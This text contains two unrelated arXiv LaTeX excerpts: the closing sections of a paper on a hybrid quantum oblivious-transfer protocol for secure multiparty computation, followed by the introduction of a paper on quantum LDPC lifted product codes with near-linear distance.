\label{fig:bcprotocol}
\end{figure}
\section{Results and discussion}
\subsection{Security}
In this section, we analyse the security of the proposed composition of protocols. The main result is encapsulated in the following theorem.
\begin{theorem}
The protocol $\pi_{HOK}$ is secure as long as the hash function is collision resistant. Moreover, if the hash function models a Random Oracle, a simple modification of the protocol can make it universally-composable secure.
\end{theorem}
\begin{proof} The security proof relies on several well-established results in cryptography. First, notice that the $\pi_{HOK}$ protocol is closely related to the standard Quantum OT protocol $\pi_{QOT}$, which is proven statistically secure in Yao's original paper~\cite{Yao_1995} and later universally composable in the quantum composability framework~\cite{Unruh10}. The difference between the two is that $\pi_{QOT}$ uses ideal commitments, as opposed to the hash-based commitments in $\pi_{HOK}$.
We start by showing that the protocol $\pi_{HOK}$ is standalone secure. For this case, we only need to replace the ideal commitment of $\pi_{QOT}$ with a standalone secure commitment protocol, such as the Halevi and Micali~\cite{Halevi1996}, which is depicted in $\pi_{COMH}$. Since the latter is secure whenever the hash function is collision resistant, we conclude that $\pi_{HOK}$ is secure whenever the hash function is collision resistant.
Finally, we provide the simple modification of $\pi_{HOK}$ that makes it universally-composable secure when the hash function models a Random Oracle. The modification is only required to improve upon the commitment protocol, as Yao's protocol with ideal commitments is universally-composable~\cite{Unruh10}. Indeed, we need to consider universally composable commitment scheme instead of $\pi_{COMH}$. This is achieved by the HMQ construction~\cite{Hofheinz04} which, given a standalone secure commitment scheme and a Random Oracle, outputs a universally-composable commitment scheme, which is perfectly hiding and computationally binding, that is, secure as far as collisions cannot be found. So we just need to replace $\pi_{COMH}$ with the output of the HMQ construction, when $\pi_{COMH}$ and $H$ are given as inputs and $H$ models a Random Oracle.
\end{proof}
Regarding the above theorem we note that, for the composable security, the HMQ construction mentioned in the proof formally requires access to a random oracle, which is an abstract object used for studying security and cannot be realized in the real world. Hence, we leave it as an additional security property, as hash functions are traditionally modelled as random oracles. Stand alone security of the $\pi_{HOK}$ protocol \textit{does not} require the hash function to be a random oracle.
The use of collision resistant hash functions is acceptable in the quantum setting, as it has been shown that there exist functions for which a quantum computer does not have any significant advantage in finding collisions when compared with a classical one \cite{Aaronson:2004}. One point to note about the security of $\pi_{OKD}$ is that it is not susceptible to \textit{intercept now-decrypt later} style of attacks. Bob can attempt an attack in which he does not properly measure the qubits sent by Alice at step 2, and instead waits until Alice reveals the test subset in step 4 to measure honestly only those qubits. For that he must be able to control the openings of the commitment scheme such that Alice opens the values of his measurement outcomes for those qubits. In order to do this, he must be able find collisions for $H$ before step 5. This means that attacking the protocol by finding collisions of the hash function is only effective if it is done in real time, that is, between steps 3 and 5 of the protocol. This is in contrast to asymmetric cryptography based OT, in which Bob can obtain both bits if he is able to overcome the computational security at a later stage.
Finally, we point out that the OT extension algorithms that are used during SMC often rely only on collision resistant hash functions~\cite{Asharov:2013:MEO:2508859.2516738} anyway. If those protocols are used to extend the base OTs produced by $\pi_{HOK}$, we can effectively speed up the OT rates without introducing any additional computational complexity assumption.
\subsection{Efficiency}
Complexity-wise, the main problem with public-key based OT protocols is that they require a public/private key generation, encryption, and decryption per transfer. In the case of RSA and ElGamal based algorithms, this has complexity $O(n^{2.58})$ (where $N= 2^{n}$ is the size of the group), using Karatsuba multiplication and Berett reduction for Euclidian division~\cite{Menezes1996}. Post-quantum protocols are still ongoing optimization, but recent results show RLWE key genereration and encryption in time $O(n^2 \log(n))$~\cite{Ding2012}.
To study the time complexity of the $\pi_{HOK}$ protocol, consider first the complexity of $\pi_{COMH}$. It requires two calls of $H$ and one call of the universal hash family $\textbf{F}$, $\Tilde{n}$ bit comparisons (if using the technique proposed in ~\cite{Halevi1996} to find the required $f$), and one additional evaluation of $f$. Cryptographic hash functions are designed so that their time complexity is linear on the size of the input, which in this case is $\ell=4k+2\Tilde{n}+4$. To compute the universal hashing, the construction in~\cite{Halevi1996} requires $\Tilde{n}k$ binary multiplications. Thus, the running time of $\pi_{COMH}$ is linear on the security parameter $k$. On the other hand, $\pi_{QOT}$ has two security parameters: $n$, associated to the size of the keys used to encrypt the transferred bits, and $m$, associated to the security of the measurement test done by Alice. The protocol requires $n+m$ qubit preparations and measurements, $n+m$ calls of the commitment scheme, and $n$ bit comparisons. This leads to an overall time complexity of $O(k(n+m))$ for the $\pi_{HOK}$ protocol, which is linear in all of its security parameters.
In realistic scenarios, however, error correction and privacy amplification must be implemented during the $\pi_{OK \rightarrow OT}$. For the former, LDPC codes~\cite{Martinez2013} or the cascade algorithm~\cite{Brassard1993} can be used, and the latter can be done with universal hashing. For a given channel error parameter, these algorithms have time complexity linear in the size of the input string, which in our case is $n$. Hence, $\pi_{HOK}$ stays efficient when considering channel losses and preparation/measurement errors.
One of the major bottlenecks in the GMW protocol for SMC is the number of instances of OT required (it is worth noting that GMW uses 1-out-of-4 OT, which can efficiently be obtained from two instances of the 1-out-of-2 OT~\cite{naor05}). A single Advanced Encryption Standard (AES) circuit can be obtained with the order of $10^6$ instances of OT. However, with current solutions, i.e., with computational implementations of OT based on asymmetric classical cryptography, one can generate $\sim10^3$ secure OTs per second in standard devices ~\cite{cho:orl:15}. It is possible to use OT extension algorithms to increase its size up to rates of the order of $10^6$ OT per second~\cite{Asharov2017}. Several of such techniques are based on symmetric cryptography primitives~\cite{cho:orl:15}, such as hash functions, and could also be used to extend the OTs generated by $\pi_{HOK}$.
Due to the popularity of crypto-currencies, fast and efficient hashing machines have recently become more accessible. Dedicated hashing devices are able to compute SHA-256 at rates of $10^{12}$ hashes per second (see Bitfury, Ebit, and WhatsMiner, for example). In addition, existent standard Quantum Key Distribution (QKD) setups can be adapted to implement OKD, since both protocols share the same requirements for the generation and measurement of photons. Notably, QKD setups have already demonstrated secret key rates of the order of $10^{6}$ bits per second ~\cite{com:fro:luc:14,isl:lim:cah:17,ko:cho:cho:18, wan:pen:yin:18, pir:and:ber:19}. It is also worth mentioning that, as opposed to QKD, OKD is useful even in the case when Alice and Bob are at the same location. This is because in standard key distribution the parties trust each other and, if at the same location, they can just exchange hard drives with the shared key, whereas when sharing oblivious keys, the parties do not trust each other and need a protocol that enforces security. Thus, for the cases in which both parties being at the same location is not an inconvenience, the oblivious key rates can be further raised, as the effects of channel noise are minimized.
Direct comparisons of OT generation speed between asymmetric cryptography techniques and quantum techniques are difficult because the algorithms run on different hardware. Nevertheless, as quantum technologies keep improving, the size and cost of devices capable of implementing quantum protocols will decrease and their use can result in significant improvements of OT efficiency, in the short-to-medium term future.
\section{Conclusions}
Motivated by the usefulness of SMC as a privacy-protecting data mining tool, and identifying its OT cost as its main implementation challenge, we have proposed a potential solution for practical implementation of OT as a subroutine SMC. The scheme consists on pre-sharing an oblivious key pair and then using it to compute fast OT during the execution of the SMC protocol. We call this approach hybrid because it uses resources traditionally associated with classical symmetric cryptography (cryptographic hash functions), as well as quantum state communication and measurements on conjugate observables, resources associated with quantum cryptography. The scheme is secure as far as the chosen hash function is secure against quantum attacks. In addition, we showed that the overall time complexity of $\pi_{HOK}$ is linear on all its security parameters, as opposed to the public-key based alternatives, whose time complexities are at least quadratic on their respective parameters. Finally, by comparing the state of current technology with the protocol requirements, we concluded that it has the potential to surpass current asymmetric cryptography based techniques.
It was also noted that current experimental implementations of standard discrete-variable QKD can be adapted to perform $\pi_{HOK}$. The same post-processing techniques of error correction and privacy amplification apply, however, fast hashing subroutines should be added for commitments during the parameter estimation step. Future work includes designing an experimental setup, meeting the implementation challenges, and experimentally testing the speed, correctness, and security of the resulting oblivious key pairs. This includes computing oblivious key rate bounds for realistic scenarios and comparing them with current alternative technologies. Real world key rate comparisons can help us understand better the position of quantum technologies in the modern cryptographic landscape.
Regarding the use of quantum cryptography during the commitment phase; because of the impossibility theorem for unconditionally secure commitments in the quantum setting~\cite{Mayers97}, one must always work with an additional assumption on top of needing quantum resources. The noisy storage model provides an example in which the commitments are achieved by noisy quantum memories~\cite{lou:14,alm:etal:15,lou:16}. The drawback of this particular assumption is the fact that advances in quantum storage technology work against the performance of the protocol, which is not a desired feature. The added cost of using quantum communication is a disadvantage. So far, to the knowledge of the authors, there are no additional practical quantum bit commitment protocols that provide advantages in security or efficiency compared to classical ones once additional assumptions (such as random oracles, common reference strings, computational hardness, etc.,) are introduced. Nevertheless, we are optimistic that such protocols can be found in the future, perhaps by clever design, or by considering a different a kind of assumption outside of the standard ones.
\section*{Acknowledgments}
This work is supported by the Fundação para a Ciência e a Tecnologia (FCT) through national funds, by FEDER, COMPETE 2020, and by Regional Operational Program of Lisbon, under UIDB/50008/2020, UIDP/50008/2020, UID/CEC/00408/2013, POCI-01-0145-FEDER-031826, POCI-01-0247-FEDER-039728, PTDC/CCI-CIF/29877/2017, PD/BD/114334/2016, PD/BD/113648/2015, and CEECIND/04594/2017.
\bibliographystyle{IEEEtran}
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 2,030 |
\section{Introduction}
\IEEEPARstart{C}{lassical low-density} parity-check (LDPC) codes \cite{gallager1963} are a~very important class of linear codes widely used in theory and practise. The~definitive property of a family of LDPC codes is that there exists some constant $w$ such that for any code from this family both the~row and the~column weights of its parity-check matrix are bounded above by~$w$. The~theoretical importance of LDPC codes stems mostly from the fact that they contain asymptotically good codes of any positive rate with a~linear time decoding that can attain the~Shannon capacity~\cite{Sipser&Spielman:1996, Barg&Zemor:2002}. Their quantum analogs, called quantum LDPC (QLDPC) codes (see~\cite{Babar:2015} for a~good review), may play a~very important role in design of future fault-tolerant quantum computers~\cite{Gottesman:2014, Fawzi:2018}. However, it~is still unknown whether there exists an asymptotically good family of QLDPC codes with a~positive rate. More dramatically, to~the~best of our knowledge, there are even no such examples of constant dimension and linear distance, while in the classical case we have the~repetition code as a~trivial example.
Up until very recently, the~minimum distance of all known examples of QLDPC codes~\cite{Kitaev:2002, Freedman:2002:best-code, Tillich&Zemor:2009, Evra:2020, Kaufman:2021} was bounded above by $O(N^{1/2} \log^\alpha N$) for some $\alpha\ge 0$ as the~code length~${N\to\infty}$. In~\cite{Hastings:2021:fiber}
it was shown that there exists a~family of QLDPC codes of distance and dimension bounded below by $\Omega(N^{3/5}/\polylog N)$. The QLDPC codes from the~all above-mentioned papers belong to a~wide class of quantum codes called CSS codes~\cite{CSS:1996, CSS2:1996}. A~CSS code $\mathcal{Q}$ of~dimension~$K$ is defined by a pair of classical linear codes $\mathcal{C}_{\mathrm{Z}},\mathcal{C}_{\mathrm{X}}\subseteq \mathbb{F}_2^N$ such that $\mathcal{C}_{\mathrm{X}}^\perp\subseteq \mathcal{C}_{\mathrm{Z}}$, and $K = \dim \mathcal{C}_{\mathrm{Z}}/\mathcal{C}_{\mathrm{X}}^\perp$. Its~minimum distance $d$ is defined as $\min(d_{\mathrm{Z}},d_{\mathrm{X}})$, where $d_{\mathrm{Z}}$ and $d_{\mathrm{X}}$ are the minimal Hamming weights of the~vectors from $\mathcal{C}_{\mathrm{Z}}\setminus\mathcal{C}_{\mathrm{X}}^\perp$ and $\mathcal{C}_{\mathrm{X}}\setminus\mathcal{C}_{\mathrm{Z}}^\perp$, respectively. In this case we often say that $\mathcal{Q}$ is an~$[[N,K,d]]$~code, or, if we want to be more precise, an~$[[N,K, d_\mathrm{Z},d_\mathrm{X}]]$~code. The code $\mathcal{C}_{\mathrm{Z}}$ is usually represented by a parity-check matrix~$H_{\mathrm{X}}$, and the code~$\mathcal{C}_{\mathrm{X}}$ by a parity-check matrix $H_{\mathrm{Z}}$, and $\mathcal{C}_{\mathrm{X}}^\perp\subseteq \mathcal{C}_{\mathrm{Z}}$ implies that $H_{\mathrm{X}} H_{\mathrm{Z}}^\mathrm{T} = \mathbf{0}$.
The approach used in~\cite{Evra:2020, Kaufman:2021, Hastings:2021:fiber} is, first, to construct a~quantum code~$\mathcal{Q}$ with $d_{\mathrm{Z}} \gg d_{\mathrm{X}}$, $d_{\mathrm{Z}} d_{\mathrm{X}} > \Omega(N)$, and then to apply the~homological product~\cite{Hastings:2017, Pryadko:2019, Kaufman:2021} of~the quantum code~$\mathcal{Q}$ with a~classical code $\mathcal{C}$ of minimal distance~$d\approx d_{\mathrm{Z}}/d_{\mathrm{X}}$ in order to obtain a~new quantum code $\mathcal{Q}'$ of distance $\min(d_{\mathrm{Z}},d\cdotd_{\mathrm{X}})$. In~\cite{Hastings:2021:fiber} this ``distance balancing'' procedure was applied to a~family of codes (called fiber \mbox{bundle} codes) with parameters ${d_{\mathrm{Z}}=\Omega(N^{3/4}/\polylog N)}$, ${d_{\mathrm{X}} = \Omega(N^{1/2})}$, and ${K=\Theta(N^{1/2})}$. We~should note that this particular family of fiber bundle codes coincides\footnote{The definition of these codes in~\cite{Hastings:2021:fiber} is given in terms of chain complexes, while in~\cite{Panteleev&Kalachev:2019} these codes are defined by parity-check matrices $H_{\mathrm{X}}$ and $H_{\mathrm{Z}}$.} with an earlier proposed~\cite{Panteleev&Kalachev:2019} family of quasi-cyclic GHP codes\footnote{In the~current paper we further generalize these codes and call them \emph{lifted product codes}.}, defined by some quasi-cyclic matrix $A$ of circulant size $\ell$ and the~polynomial ${b=1+x}$, which is a parity polynomial of the cyclic repetition code of length~$\ell$. The~parity-check matrices $H_{\mathrm{X}}$, $H_{\mathrm{Z}}$ for such codes are binary block matrices that look as follows:
\begin{equation}\label{eq:qc-ghp}
\begin{split}
H_{\mathrm{X}} &=
\left[
\begin{array}{@{}c|c@{}}
\begin{matrix}
A_{11} & \dots & A_{1n} \\
\vdots & \ddots & \vdots \\
A_{m1} & \dots & A_{mn}
\end{matrix}
&
\begin{matrix}
B & \dots & \mathbf{0} \\
\vdots & \ddots & \vdots \\
\mathbf{0} & \dots & B
\end{matrix}
\end{array}
\right]\!;\\
H_{\mathrm{Z}} &=
\left[
\begin{array}{@{}c|c@{}}
\begin{matrix}
B^\mathrm{T} & \dots & \mathbf{0} \\
\vdots & \ddots & \vdots \\
\mathbf{0} & \dots & B^\mathrm{T}
\end{matrix}
&
\begin{matrix}
A^\mathrm{T}_{11} & \dots & A^\mathrm{T}_{m1} \\
\vdots & \ddots & \vdots \\
A^\mathrm{T}_{1n} & \dots & A^\mathrm{T}_{mn}
\end{matrix}
\end{array}
\right]\!;
\end{split}
\end{equation}
where each $A_{ij}$ is an~$\ell\times\ell$-circulant matrix (see Appendix~\ref{sc:circulants}), and $B$ is the~$\ell\times\ell$ circulant matrix that is the parity-check matrix for the cyclic code with the~parity polynomial $b$. Since we want to obtain low-density matrices, the circulants in the~above block matrices should be as sparse as possible. This is the reason why in all the~examples of such codes in~\cite{Panteleev&Kalachev:2019} the~matrices $A_{i j}$ are circulants of weight~$1$, i.e., permutation matrices of some cyclic shifts modulo~$\ell$.
In the~terminology of~\cite{Hastings:2021:fiber}, the polynomial~$b$ corresponds to the~fiber, and the~matrix~$A$ to the~parity-check matrix of the~base with twists. In~\cite{Panteleev&Kalachev:2019} this class of codes was studied in the case of arbitrary parity polynomial $b$, and in the case of odd~$\ell$ a~formula for the dimension of such codes was given. Moreover, several examples of these codes were constructed, and one of them was shown to outperform under the~BP-OSD decoder (also proposed in~\cite{Panteleev&Kalachev:2019}) a~relatively large surface
code decoded by a near-optimal decoder from~\cite{Bravyi:2014}.
In this paper we show that if we carefully choose a~low-density~quasi-cyclic matrix $A$ and use $b=1+x$, then the corresponding GHP code has distance $\Theta(N/\log N)$ and dimension $\Theta(\log N)$ as the code length $N\to\infty$. This gives us our first main result.
\begin{theorem}\label{th:main1}
There exists a family of QLDPC codes of \mbox{dimension} $\Theta(\log N)$ and distance~$\Theta(N/\log N)$ as the~code length $N\to\infty$.
\end{theorem}
The main technical tool in the proof of the~above theorem is expander codes~\cite{Tanner1981, Sipser&Spielman:1996,Zemor:2001}. Such codes are defined by a~graph~$G$ and a~small linear code $\mathcal{C}_0$. In order to obtain a~good expander code, the~second largest eigenvalue of the~adjacency matrix of~$G$ should be sufficiently small. A~graph\footnote{Formally, we should rather talk about an infinite family of graphs.} that satisfies this condition is called an~\emph{expander graph} (see~\cite{Hoory:2006} for a~good survey). An~important result, we rely on in our proof, is Theorem~1.2 from~\cite{Agarwal:2019}, which gives us a~way to construct quasi-cyclic matrices $A$ with the desired properties of very large circulant size $\ell = \Omega(N/\log N)$. Using this result, we first construct a~large expander graph~$G$ with a~quasi-cyclic adjacency matrix of circulant size $\ell$ from a~small expander graph; then we apply to $G$ the~expander code construction to obtain a~code $\mathcal{T}(G,\mathcal{C}_0)$ and define $A$ as its parity-check matrix. Since the~adjacency matrix of $G$ is quasi-cyclic, it is possible to define $\mathcal{T}(G,\mathcal{C}_0)$ in such a~way that its parity-check matrix $A$ is also quasi-cyclic of circulant size $\ell$.
As a~byproduct of the proof of Theorem~\ref{th:main1} we also obtain (Corollary~\ref{cor:QC-dist}) that there exists a~family of classical quasi-cyclic LDPC codes with distance $\Theta(N)$ and circulant size $\Omega(N/\log N)$. Using the~well-known upper bound~\cite{Smarandache:2012} on the~minimal distance of quasi-cyclic LDPC codes we show that, in some sense, this circulant size is optimal.
Though the distance of the obtained quantum codes is almost linear as $N\to\infty$, their dimension is only $\Theta(\log N)$. In fact, the dimension~can be easily increased by a~moderate reduction of the code distance. The~idea is somewhat similar to the~mentioned above ``distance balancing'' procedure, but instead of the~code distance, we increase the~code dimension. As it was shown\footnote{Note that a~similar bound on the~distance was obtained earlier in~\cite[Theorem~1]{Pryadko:2019} in the language of chain complexes.} in~\cite[Theorem~2.3]{Evra:2020}, if we have a~quantum $[[N,K,d_Z, d_X]]$~code $\mathcal{Q}$ and a~classical $[n,k,d]$~code $\mathcal{C}$, then we can obtain the~quantum $[[N',k K, d'_\mathrm{Z}, d'_\mathrm{X}]]$~code $\mathcal{Q}\otimes\mathcal{C}$ called the~\emph{homological product} of $\mathcal{Q}$ and $\mathcal{C}$ such that:
\[ N' \le 2nN,\quad d'_\mathrm{Z} \ge d\cdot d_\mathrm{Z},\quad d'_\mathrm{X} \ge d_{\mathrm{X}}. \]
Now if we consider the~quantum code $(\mathcal{Q}\otimes \mathcal{C})^*$, where we change the roles of codes $\mathcal{C}_{\mathrm{Z}}$ and $\mathcal{C}_{\mathrm{X}}$ in $\mathcal{Q}\otimes\mathcal{C}$, and again apply the~homological product with~$\mathcal{C}$, then we get the~$[[N'',k^2 K, d''_\mathrm{Z},d''_\mathrm{X}]]$~code\footnote{It is not hard to see that this construction is equivalent to the homological product of a quantum code and a~hypergraph product code defined by $\mathcal{C}$.} $(\mathcal{Q}\otimes \mathcal{C})^*\otimes \mathcal{C}$ such that:
\begin{equation}\label{eq:hom-prod}
N'' \le 4n^2N,\quad d''_\mathrm{Z} \ge d\cdot d_\mathrm{Z},\quad d''_\mathrm{X} \ge d\cdotd_{\mathrm{X}}.
\end{equation}
Therefore in order to obtain codes of large dimension out of the~constructed in this work codes of dimension $\Theta(\log N)$ and distance $\Theta(N/\log N)$ it remains to let $\mathcal{C}$ be from a~family\footnote{As we already mentioned before, asymptotically good classical LDPC codes of non-vanishing rate do exist~\cite{gallager1963}.} of classical LDPC $[n,k,d]$ codes such that ${k = \Theta(n)}$, ${d = \Theta(n)}$, and $n = \Theta(N^{\frac{\alpha}{2(1-\alpha)}})$ as $N\to\infty$, where $\alpha > 0$. Indeed, we can easily check using (\ref{eq:hom-prod}) that as the end result we obtain the~quantum $[[N'',K'',d'']]$~code such that:
\begin{align*}
N'' &= O(n^2N) = O(N^{\frac{1}{1-\alpha}}), \text{ and hence } N = \Omega\!\rbr{(N'')^{1-\alpha}}\!;\\
K'' &= k^2 K = \Theta(N^{\frac{\alpha}{1-\alpha}}\log N) = \Omega((N'')^\alpha\log N'');\\
d'' &= \Omega(d\cdot N/\log N) = \Omega(n\cdot N/\log N) \\
&= \Omega\!\rbr{(N'')^{\alpha/2}\cdot N/\log N} = \Omega\!\rbr{(N'')^{1 -\alpha/2}\log N''}\!.
\end{align*}
We should emphasize that all the codes involved in the above construction have low-density parity-check matrices. Hence the obtained quantum codes are QLDPC codes, and we get the following result.
\begin{theorem}\label{th:main2}
For every $\alpha$ such that $0 \le \alpha < 1$ there exists a family of QLDPC codes of dimension~$\Omega(N^\alpha \log N)$ and distance~$\Omega(N^{1-\alpha/2}/\log N)$ as the~code length $N\to\infty$.
\end{theorem}
\begin{remark}
Let us note that the case $\alpha = 0$ of the above theorem corresponds to the codes of distance $\Theta(N/\log N)$ and dimension $\Theta(\log N)$ from Theorem~\ref{th:main1}.
\end{remark}
\subsection*{Lifted Product Codes}
In this paper, we continue our~study of the codes from~\cite{Panteleev&Kalachev:2019} in a more general form, and call them \emph{lifted product (LP) codes}. Roughly speaking, LP~codes are the lifted versions of hypergraph product codes proposed in~\cite{Tillich&Zemor:2009,Tillich&Zemor:2014}.
As we will see later in Section~\ref{sc:lp}, LP codes generalize many well-known examples of QLDPC codes~\cite{Hagiwara:2007, Tillich&Zemor:2009, Haah:2011, Kovalev&Pryadko:HBP:2013}, of which they are mostly motivated. We should also note that quasi-cyclic LP codes can be shown to be equivalent to a~special case of hyperbicycle codes~\cite{Kovalev&Pryadko:HBP:2013}, when the~parameter $\chi=1$ (see, more in Subsection~\ref{sc:qc-lp-codes}).
\begin{figure}
\centering
\begin{tikzpicture}[scale=0.8]
\node[vertex] (v) at (-0.4,-0.4) [label=below:$v$]{};
\node[vertex] (v') at (0.4,0.4) [label=$v'$]{} ;
\draw (v) -- (v');
\draw (0,0) ellipse[x radius=1.5 cm,y radius=1.7 cm, rotate=-45];
\node[empty] (cap) at (-0.2,-2.2) {base graph $G$};
\end{tikzpicture}
\quad
\begin{tikzpicture}[scale=0.8]
\node[vertex] (v1) at (-1.2,-0.4) [label=below:$v_1$]{};
\node[vertex] (v2) at (-0.9,-0.4) {};
\node[empty] (vdots) at (-0.6,-0.4) {\footnotesize\ldots};
\node[vertex] (vell) at (-0.3,-0.4) [label=below:$v_\ell$]{};
\node[vertex] (v1') at (-1.2+1,0.4) [label=above:$v'_1$]{};
\node[empty] (vdots') at (-0.9+1,0.4) {\footnotesize\ldots};
\node[vertex] (v2') at (-0.6+1,0.4) {};
\node[vertex] (vell') at (-0.3+1,0.4) [label=above:$v'_\ell$]{};
\draw (v1) -- (v2');
\draw (v2) -- (vell');
\draw (vell) -- (v1');
\draw (-0.1,0) ellipse[x radius=1.7 cm,y radius=2 cm, rotate=-45];
\node[empty] (pi) at (0.8,-0.1) {$\pi\in\mathbf{S}_\ell$};
\node[empty] (cap) at (-0.2,-2.2) {$\ell$-lift $\hat{G}$ of $G$};
\end{tikzpicture}
\caption{Lifting of the base graph $G$.}
\label{fg:lifting}
\end{figure}
Large classical LDPC codes are often constructed as lifts of a~small graph called the~\emph{base graph} or the~\emph{protograph}~\cite{Thorpe:2003}. In graph theory, the~Tanner graphs~\cite{Tanner1981} of such $\ell$ times larger codes are called \emph{$\ell$-lifts} or \emph{$\ell$-fold cover graphs} for the base graph.
Let us remind that an~$\ell$-lift $\hat{G}$ of a~base graph\footnote{Multiple edges and loops are usually allowed in the base graph~$G$.} $G$ is obtained if we replace in the base graph each vertex $v\in V(G)$ with $\ell$~replicas $v_{1},\dots,v_{\ell}$; and replace each edge $e\in E(G)$ that connects vertices $v, v'\in V(G)$ with $\ell$~replicas~$e_1,\dots,e_\ell$ such that $e_i$ connects in $\hat{G}$ the vertices $v_i$ and $v'_{\pi(i)}$, where ${\pi\in\mathbf{S}_\ell}$ is some permutation on the set $\{1,\dots,\ell\}$ (see Fig.~\ref{fg:lifting}).
Note that the~permutations for different edges may be different.
If~the~set of permutations $\pi$ is restricted to some finite permutation subgroup $\Gamma\subseteq \mathbf{S}_\ell$ such that\footnote{Such groups are obtained from some abstract finite group as the~group of all its left actions on itself.} $\abs{\Gamma}=\ell$, then we also say that $\hat{G}$ is a~\emph{$\Gamma$-lift} of $G$, and a~\emph{shift $\ell$-lift} when $\Gamma = \left<(1,2,\dots,\ell)\right>\subseteq S_\ell$ is the cyclic group of size $\ell$ generated by the permutation $(1,2,\dots,\ell)\in\mathbf{S}_\ell$.
Note that the parity-check matrix of an~LDPC code that was obtained as a~shift $\ell$-lift of some base graph is a quasi-cyclic matrix of circulant size~$\ell$. Let us briefly remind that quasi-cyclic (QC) matrices are block matrices, where each block is an~$\ell\times\ell$-circulant. They are usually represented by matrices over the quotient polynomial ring~$R_\ell=\mathbb{F}_2[x]/(x^\ell - 1)$. In~a~more general case of $\Gamma$-lifts the corresponding binary block matrices can be represented by matrices over a~group algebra~$\mathbb{F}_2 G$, where $G$~is an abstract group of order $\ell$ that is isomorphic to the permutation subgroup~$\Gamma\subseteq\mathbf{S}_\ell$.
The idea of the~lifted product is to start from two small Tanner graphs $\mathcal{A}$ and $\mathcal{B}$ that have some shift $\ell$-lifts $\hat{\mathcal{A}}$ and~$\hat{\mathcal{B}}$, respectively. Let $A$ be the corresponding matrix over $R_\ell$ for~$\hat{\mathcal{A}}$, and~$B$ be the corresponding matrix for $\hat{\mathcal{B}}$. Since the~ring~$R_\ell$ is commutative, we will show in Section~\ref{sc:lp} that one can use a~slightly modified hypergraph product construction~\cite{Tillich&Zemor:2009} in order to obtain the~parity-check matrices $H_{\mathrm{X}}$ and $H_{\mathrm{Z}}$ over~$R_\ell$. Finally, we will see that $H_{\mathrm{X}}$ and $H_{\mathrm{Z}}$ (considered as binary block matrices) define a~CSS code denoted by $\mathrm{LP}(A,B)$. In~fact, the~idea of the lifted product is more general and can be used not only with the ring~$R_\ell$. Later we will show that this construction works for matrices $A$ and $B$ over any ring $R$ that is a~commutative $\ell$-dimensional $\mathbb{F}_2$-algebra. For example, if $G$ is an~abelian group of order~$\ell$, then the~group algebra $\mathbb{F}_2 G$ can be used as the ring~$R$. Hence, we can use not only shift $\ell$-lifts, but also $\Gamma$-lifts when the permutation group~$\Gamma$ is abelian.
In fact, the~general definition of lifted product codes, given in~Section~\ref{sc:lp}, can also be used with non-abelian groups as well. However, in this paper, we consider only abelian groups, while the~non-abelian case is left for future work.
We should emphasize that the codes from~Theorem~\ref{th:main1} correspond to the case when $B$ is a~$1\times 1$ matrix with only one element $b\in R_\ell$. We denote the~code $\mathrm{LP}(A,B)$ by $\mathrm{LP}(A,b)$ in this case. Later we will show how to find or estimate the~dimension of $\mathrm{LP}(A,B)$ and $\mathrm{LP}(A,b)$ in many special cases.
In~Fig.~\ref{fg:main} you can see the parameters of the~LP~codes from Theorems~\ref{th:main1} and \ref{th:main2} (shown in red) against the~parameters of the~fiber bundle (FB) codes~\cite{Hastings:2021:fiber} (shown in green) and the~hypergraph product (HP) codes~\cite{Tillich&Zemor:2009} (shown in blue). In~fact, if we apply the~method used in Theorem~\ref{th:main2} to the fiber bundle codes, then we can also increase their dimension in the~same way as for LP codes. The~parameters of the quantum codes obtained in this way are also shown in green. We can see from Fig.~\ref{fg:main} that (up to polylog factors) the~parameters of the~all mentioned above codes converge to the~parameters of the~hypergraph product codes as the dimension $K$ grows asymptotically up to the code length~$N$.
\begin{figure}
\centering
\begin{tikzpicture}[scale=4.2,>=stealth]
\filldraw[red!10] (0,0.9) -- (0.1,0.9) -- (1,0.5) -- (0,0.5);
\filldraw[green!10] (0,0.6) -- (0.6,0.6) -- (1,0.5) -- (0,0.5);
\filldraw[blue!10] (0,0) -- (1,0) -- (1,0.5) -- (0,0.5);
\draw[->, thick,red] (0.1,0.9) -- (0.98,0.51);
\draw[->, thick,green!60!black] (0.6,0.6) -- (0.97,0.5);
\draw[dashed,red] (0.,0.9) node[left,red]{$N/\log N$} -| (0.1,0) node[below,red] {$\log N$};
\draw[dashed,blue] (0,0.5) node[left,blue]{$N^{1/2}$} -- (1,0.5) -- (1,0);
\draw[dashed,green!60!black] (0,0.6) node[left,green!60!black]{$N^{3/5}/\polylog N$} -- (0.6,0.6) -- (0.6,0)node[below,green!60!black]{$N^{3/5}/\polylog N$};
\draw (1,0) node[below,blue]{$N$} -- (1,0.02);
\draw (1,0)|-(0,1);
\filldraw[blue] (1,0.5) circle (0.02) node[right] {HP};
\filldraw[red] (0.1,0.9) circle (0.02) node[above right] {LP};
\filldraw[green!60!black] (0.6,0.6) circle (0.02) node[fill=white,above left=0.1,opacity=0,text opacity=1] {FB};
\draw (0.8,0.8) node {\Huge ?};
\draw[->] (0,0) -- (1.1,0) node[right] {$K$};
\draw[->] (0,0) -- (0,1.1) node[above] {$d$};
\end{tikzpicture}
\caption{HP -- hypergraph product codes, FB -- fiber-bundle codes, LP -- lifted product code $\mathrm{LP}(A,1+x)$. The~parameters of all codes (the~minimum distance~$d$ and the~dimension~$K$) are shown in the~logarithmic scale up to polylogarithmic factors as the code length $N\to\infty$.}
\label{fg:main}
\end{figure}
\subsection*{Lifted products of chain complexes}
Let us briefly show how to extend the~idea of the lifted product to chain complexes. It is known that $2$-dimensional chain complexes correspond to CSS codes~\cite{Bravyi:HMP:2014}. Nevertheless, \mbox{$s$-dimensional} chain complexes for $s>2$ can also be useful in the context of single-shot error correction~\cite{Earl:2019}.
Consider some commutative ring~$R$. Let us remind that a~\emph{free $R$-module of rank $r$} is an~$R$-module~$M$, where there exists a~set of elements $\{m_1,\dots,m_r\}\subseteq M$ called \emph{basis} such that every $m\in M$ is uniquely represented as:
\[ m = a_1 m_1 + \dots + a_r m_r,\]
where $a_1,\dots,a_r\in R$.
Hence $M\cong R^r$, and if the ring $R$ is a~field, then $M$ is simply an~$r$-dimensional vector space over~$R$. A~canonical example of a~free $R$-module of rank $r$ is the~module of formal $R$-linear combinations of the~elements of some set~$S$, where $\abs{S}=r$.
